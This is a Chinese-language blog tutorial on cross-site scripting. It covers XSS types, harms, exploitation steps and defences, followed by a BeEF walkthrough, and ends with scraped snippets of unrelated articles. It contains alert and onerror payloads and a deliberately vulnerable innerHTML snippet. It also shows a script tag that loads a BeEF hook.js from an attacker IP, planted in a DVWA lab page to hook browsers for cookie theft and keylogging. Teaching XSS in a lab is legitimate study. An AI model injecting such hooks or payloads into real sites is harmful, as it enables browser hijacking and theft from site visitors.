XSS详解

article/2025/9/23 9:48:02

XSS详解

  • 1. 简介
  • 2. 跨站脚本实例
  • 3. XSS 的危害
  • 4. 分类
    • 4.1 反射型XSS(非持久型)
      • 漏洞成因
      • 攻击流程
    • 4.2 存储型XSS(持久型)
      • 漏洞成因
      • 攻击流程
    • 4.3 DOM型XSS
      • 漏洞成因
    • 4.4 通用型XSS
      • 漏洞成因
      • 漏洞案例
    • 4.5 突变型XSS
      • 漏洞成因
      • 攻击流程
  • 5. 利用流程
  • 6. 难度
  • 7. 防御
  • 8. 自动化XSS
    • 8.1 BeEF简介
    • 8.2 BeEF基础
    • 6.3 信息收集

1. 简介

跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。 XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。
XSS 攻击指黑客通过特殊的手段往网页中插入了恶意的 JavaScript 脚本,从而在用户浏览网页时,对用户浏览器发起 Cookie 资料窃取、会话劫持、钓鱼欺骗等各攻击。

XSS 跨站脚本攻击本身对 Web 服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意 URL,当受害者在 Web 浏览器中打开该URL的时侯,恶意脚本会在受害者的计算机上悄悄执行。

XSS 跨站脚本攻击漏洞也是OWASP Top 10中经常出现的对象,造成XSS漏洞普遍流行的原因如下:

Web 浏览器本身的设计不安全,无法判断 JS 代码是否是恶意的
输入与输出的 Web 应用程序基本交互防护不够
程序员缺乏安全意识,缺少对 XSS 漏洞的认知
XSS 触发简单,完全防御起来相当困难

XSS攻击的危害包括:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击

2. 跨站脚本实例

下面的 HTML 代码就演示了一个最基本的 XSS 弹窗:

<html>
<body><script>alert(1)</script>
</body>
</html>

直接在 HTML 页面通过

3. XSS 的危害

XSS 可能不如 SQL 注射、文件上传等能够直接得到较高操作权限的漏洞,但是它的运用十分灵活(这使它成为最深受黑客喜爱的攻击技术之一),只要开拓思维,适当结合其他技术一起运用,XSS 的威力还是很大的。可能会给网站和用户带来的危害简单概括如下:

网络钓鱼
盗取用户 cookies 信息
劫持用户浏览器
强制弹出广告页面、刷流量
网页挂马
进行恶意操作,例如任意篡改页面信息
获取客户端隐私信息
控制受害者机器向其他网站发起攻击
结合其他漏洞,如 CSRF 漏洞,实施进一步作恶
提升用户权限,包括进一步渗透网站
传播跨站脚本蠕虫等

4. 分类

4.1 反射型XSS(非持久型)

反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击。

漏洞成因

当用户的输入或者一些用户可控参数未经处理地输出到页面上,就容易产生XSS漏洞。主要场景有以下几种:

将不可信数据插入到HTML标签之间时;// 例如div, p, td;将不可信数据插入到HTML属性里时;// 例如:<div width=$INPUT></div>将不可信数据插入到SCRIPT里时;// 例如:<script>var message = ” $INPUT “;</script>还有插入到Style属性里的情况,同样具有一定的危害性;// 例如<span style=” property : $INPUT ”></span>将不可信数据插入到HTML URL里时,// 例如:<a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”></a>使用富文本时,没有使用XSS规则引擎进行编码过滤。

对于以上的几个场景,若服务端或者前端没有做好防范措施,就会出现漏洞隐患。

攻击流程

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小。

在这里插入图片描述

4.2 存储型XSS(持久型)

漏洞成因

​ 存储型XSS漏洞的成因与反射型的根源类似,不同的是恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时执行了恶意代码,用户访问服务器-跨站链接-返回跨站代码。

攻击流程

在这里插入图片描述

4.3 DOM型XSS

输入的恶意代码不会经过服务器,在前端被js代码直接读取放置到前端的标签中,是一 种特殊的反射型XSS。

漏洞成因

DOM型XSS是基于DOM文档对象模型的。对于浏览器来说,DOM文档就是一份XML文档,当有了这个标准的技术之后,通过JavaScript就可以轻松的访问DOM。当确认客户端代码中有DOM型XSS漏洞时,诱使(钓鱼)一名用户访问自己构造的URL,利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。

下面编写一个简单的含有 DOM XSS漏洞的 HTML 代码:

<meta charset="UTF-8"><script>function xss(){var str = document.getElementById("src").value;document.getElementById("demo").innerHTML = "<img src='"+str+"' />";}
</script><input type="text" id="src" size="50" placeholder="输入图片地址" />
<input type="button" value="插入" onclick="xss()" /><br>
<div id="demo" ></div>

用户输入框插入图片地址后,页面会将图片插入在id=“demo” 的 div 标签中,从而显示在网页上:
在这里插入图片描述
同样,这里也没有对用户的输入进入过滤,当攻击者构造如下语句插入的时候:

<img src="1" onerror="alert(1)">

在这里插入图片描述
会直接在img标签中插入onerror事件,该语句表示当图片加载出错的时候,自动触发后面的 alert()函数,来达到弹窗的效果,这就是一个最简单的 DOM 型 XSS 漏洞。

4.4 通用型XSS

通用型XSS,也叫做UXSS或者Universal XSS,全称Universal Cross-Site Scripting。

上面三种XSS攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是访问页面存在漏洞,但是UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。

漏洞成因

Web浏览器是正在使用的最流行的应用程序之一,当一个新漏洞被发现的时候,不管自己利用还是说报告给官方,而这个过程中都有一段不小的时间,这一过程中漏洞都可能被利用于UXSS。

不仅是浏览器本身的漏洞,现在主流浏览器都支持扩展程序的安装,而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。因为UXSS攻击不需要网站页面本身存在漏洞,同时可能访问其他安全无漏洞页面,使得UXSS成为XSS里危险和最具破坏性的攻击类型之一。

漏洞案例

IE6或火狐浏览器扩展程序Adobe Acrobat的漏洞

这是一个比较经典的例子。当使用扩展程序时导致错误,使得代码可以执行。这是一个在pdf阅读器中的bug,允许攻击者在客户端执行脚本。构造恶意页面,写入恶意脚本,并利用扩展程序打开pdf时运行代码。tefano Di Paola 和 Giorgio Fedon在一个在Mozilla Firefox浏览器Adobe Reader的插件中可利用的缺陷中第一个记录和描述的UXSS,Adobe插件通过一系列参数允许从外部数据源取数据进行文档表单的填充,如果没有正确的执行,将允许跨站脚本攻击。

4.5 突变型XSS

突变型XSS,也叫做mXSS或,全称Mutation-based Cross-Site-Scripting。(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation)

漏洞成因

然而,如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一些意外的变化会使得这个认定不再成立:浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。

随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化,而最终导致XSS的攻击流程。

攻击流程

​ 将拼接的内容置于innerHTML这种操作,在现在的WEB应用代码中十分常见,常见的WEB应用中很多都使用了innerHTML属性,这将会导致潜在的mXSS攻击。从浏览器角度来讲,mXSS对三大主流浏览器(IE,CHROME,FIREFOX)均有影响。

5. 利用流程

1.找注入点找到数据输入的地方2.判断回显位置---输入的数据在什么地方输出如果输入的数据能够在前端进行输出,则可以证明输入的前段恶意代码在没有安全性处理的情 况下能够输出前端,从而造成风险3.构造基础的payload4.进行提交payload 5.分析响应状况1. 如果成功解析则XSS存在2. 反之考虑绕过6.确认漏洞如果响应达到了预期,则说明漏洞存在,反之不存在。

6. 难度

高危漏洞但漏洞库不一定接受此漏洞,存储型XSS肯定被接受

1.反射型攻击难度较高1.如何发送含有payload的连接呢---社工------效率很低2. 影响面较小2.存储型XSS攻击难度较小1.攻击者将恶意代码写入数据库,只要访问该网站的用户必定中招。

7. 防御

1.过滤---将关键的字符过滤掉2. 实体化编码1.将特殊字符转换成字符串

8. 自动化XSS

8.1 BeEF简介

Browser Exploitation Framework (BeEF) BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单。

http://beefproject.com/

信息收集

  1. 网络发现
  2. 主机信息
  3. Cookie获取 4. 会话劫持
  4. 键盘记录
  5. 插件信息

持久化控制:

  1. 确认弹框
  2. 小窗口
  3. 中间人

社会工程

  1. 点击劫持
  2. 弹窗告警
  3. 虚假页面
  4. 钓鱼页面

渗透攻击

  1. 内网渗透
  2. Metasploit
  3. CSRF攻击
  4. DDOS攻击

8.2 BeEF基础

启动Apache和BeEF:
root@kali:~# service apache2 start

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

<script src="http://192.168.106.140:3000/hook.js"></script>
注:192.168.106.140为BeEF所在机器,即Kali Linux IP
登录BeEF: 
username: beef 
password: beef

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

渗透机将脚本放在DWVA靶机中:
<script src="http://192.168.106.140:3000/hook.js"></script>
注:192.168.106.140为BeEF所在机器,即Kali Linux IP注:需修改字符数的限制,例如为200

在这里插入图片描述

肉机Win7 访问XSS stored页面

在这里插入图片描述

BeEF页面查看肉鸡是否上线

在这里插入图片描述

6.3 信息收集

在这里插入图片描述

命令颜色(Color):
绿色  对目标主机生效并且不可见(不会被发现) 
橙色  对目标主机生效但可能可见(可能被发现) 
灰色  对目标主机未必生效(可验证下)
红色  对目标主机不生效

在这里插入图片描述


http://chatgpt.dhexx.cn/article/e6Au1Qoo.shtml

相关文章

XSS是什么?(Xmind配文详解)

一张图带你详解XSS &#xff08;话不多说上图&#xff09; 一、什么是 XSS XSS全称&#xff08;Cross Site Scripting&#xff09;跨站脚本攻击&#xff0c;是最常见的Web应用程序安全漏洞之一&#xff0c;位于OWASP top 10 2013/2017年度分别为第三名和第七名&#xff0c;X…

XSS详细讲解

XSS 1.XSS简介 &#xff08;1&#xff09;XSS简介 XSS作为OWASP TOP 10之一。 XSS中文叫做跨站脚本攻击&#xff08;Cross-site scripting&#xff09;&#xff0c;本名应该缩写为CSS&#xff0c;但是由于CSS&#xff08;Cascading Style Sheets&#xff0c;层叠样式脚本&am…

MySQL mysqldump数据导出详解

MySQL mysqldump数据导出详解 2016-04-07 11:14 pursuer.chen 阅读(357122) 评论(2) 编辑 收藏 举报 介绍 在日常维护工作当中经常会需要对数据进行导出操作&#xff0c;而mysqldump是导出数据过程中使用非常频繁的一个工具&#xff1b;它自带的功能参数非常多&#xff…

linux mysqldump 备份所有数据库,mysqldump导出所有数据库

Mysqldump工具的详细介绍 说明:mysqldump是数据库用来备份和数据转移的一个工具,一般在数据量很小的时候(几个G)可以用于备份。当数据量比较大的情况下,就不建议用mysqldump工具进行备份了;mysqldump是一个很好用的mysql数据转移工具,具有兼容强强、跨版本等特点; 一、数…

mysqldump实战-问题1

使用mysqldump导出数据时&#xff0c;遇到了一个权限问题(之前没报过这个提示) mysqldump: Error: Access denied; you need (at least one of) the PROCESS privilege(s) for this operation when trying to dump tablespaces 查看当前用户的权限&#xff1a; 解决方法&…

mysqldump 备份还原

Mysqldump Mysqldump客户端程序执行逻辑备份&#xff0c;可以生产一组SQL语句&#xff0c;这些语句可以执行重现原始数据库对象定义和表数据&#xff1b;它可以转存一个或多个数据库进行备份或者转移到其他数据库。Mysqldump命令也能生成csv文件或其他分隔符的文本&#xff0c…

mysqldump实战-问题2

在使用mysqldump 按条件导出数据的时候&#xff0c;发现导出的数据比直接在数据库查询数据变少了。 在数据库使用select count(*) from tablename where DATE_FORMAT(Inserted,%Y-%m-%d) 2022-12-13; 查到的数据是662条&#xff1b;然后使用mysqldump -uusr_name -pusr_pwd -…

MySQL 8.0 mysqldump 详解

作者公众号&#xff0c;欢迎一起交流。 mysqldump命令是MySQL自带的客户端程序&#xff0c;可用于对数据库进行备份&#xff0c;由于是逻辑备份&#xff0c;故可以看到备份的内容是有一系列的SQL语句组成&#xff0c;并可根据实际情况对备份内容进行修改。当然&#xff0c;使用…

mysqldump的使用简介

有时候要对线上数据进行操作&#xff0c; 需要提前备份下数据。 有时候需要将线上数据dump下来进行分析和验证。 来看下mysqldump的使用。 导出数据&#xff1a;mysqldump -h localhost -u root -p -P 17538 --single-transaction --databases taoge --tables x > x1.sql …

MySQL——使用mysqldump命令备份

使用mysqldump命令备份 mysqldump命令可以将数据库中的数据备份成一个文本文件。表的结构和表中的数据将存储在生成的文本文件中。本节将介绍mysqldump命令的工作原理和使用方法。 mysqldump命令的工作原理很简单。它先查出需要备份的表的结构&#xff0c;再在文本文件中生成…

网络安全——终端安全

背景 大中型企业桌面计算机数量众多,管理难度大,桌面安全问题突出。人们提起信息安全,往往把注意力集中在防火墙、防病毒、IDS、IPS、网络互连设备(Router、Switch)等的管理上,却忽略了对网络环境中的计算单元——桌面安全管理。 桌面安全,是传统网络安全防范体系的补…

网络安全防护体系建设

网络安全基本概念 网络安全&#xff08;Cyber Security&#xff09;是指网络系统的硬件、软件及其系统中的数据受到保护&#xff0c;不因偶然的或者恶意的原因而遭受到破坏、更改、泄露&#xff0c;系统连续可靠正常地运行&#xff0c;网络服务不中断&#xff0c;使网络处于稳…

网络安全体系

文章目录 1、安全体系2、安全服务3、安全机制4、安全标准5、安全目标 1、安全体系 ISo(国际标准化组织&#xff09;1989年制定的ISO/IEC 7489-2&#xff0c;给出了ISO/oSI参考模型的安全体系结构 在OSI参考模型中增设了安全服务、安全机制和安全管理&#xff0c;并给出了OSI网…

信息安全产品认证

文章目录 一、引言二、《网络关键设备和网络安全专用产品安全认证证书》2.1 背景2.2 产品目录2.3 认证依据标准2.4 认证机构2.5 《商密产品检测认证目录》与《网络关键设备和网络安全专用产品目录》的关系 三、《中国国家信息安全产品认证证书》3.1 背景3.2 产品目录3.3 行业跟…

中国网络安全产品分类及全景图

网络安全产品分类 一、网络安全&#xff1a; 防火墙入侵检测与防御网络隔离和单向导入防病毒网关上网行为管理网络安全审计VPN抗拒绝服务攻击网络准入 二、终端安全&#xff1a; 防病毒主机检测与审计安全操作系统主机/服务器加固 三、应用安全&#xff1a; Web应用防火墙…

浅谈网络安全产品的分类

不知道从什么时候开始&#xff0c;仙儿对分类一直很迷恋。看到一些莫衷一是的分类就会很抓狂&#xff0c;这可能是一种病吧。最近又犯病了&#xff0c;居然对网络安全产品的分类动了心思。用了两个晚上时间梳理了一下&#xff0c;总算是有个勉强可接受的结果。在此感谢启明星辰…

安全基础——常见网络安全产品

产品分类和发展趋势 安全产品&#xff1a; 端点安全&#xff1a;恶意软件防护、终端安全管理网络安全&#xff1a;安全网关、入侵检测与防御、网络监控与审计应用安全&#xff1a;web安全、数据库安全、邮件安全数据安全&#xff1a;数据治理、文件管理与加密、数据备份与恢复身…

linux如何获取root权限

如图&#xff1a;linux中常出现Permission denied 原因是因为权限不足 通常操作的命令是 chmod 777 文件夹路径 或者chmod 777 -R 路径/ 很不方便也不适合新手 这里介绍一种比较好的方法 命令行输入sudo passwd 这里会让你输入密码 这里你会发现$变成了#号 再次创建就成功…

Rook使用简介

Rook使用简介&#xff08;Ceph&#xff09; 1、简介 Rook是一个自管理的分布式存储编排系统&#xff0c;可以为Kubernetes提供便利的存储解决方案。Rook本身并不提供存储&#xff0c;而是在kubernetes和存储系统之间提供适配层&#xff0c;简化存储系统的部署与维护工作。目前…

手机通过magisk获取root权限

仅做参考&#xff0c;方便自己使用的操作。我是看这篇文章 来进行操作的。 前提 1.手机用的是twrp这个recovery&#xff0c;这个是大前提。 2.默认会配置adb环境和命令使用。 我之前是在这个地方下载的twrp&#xff0c;根据Devices找到对应自己手机的Primary (Americas)的.…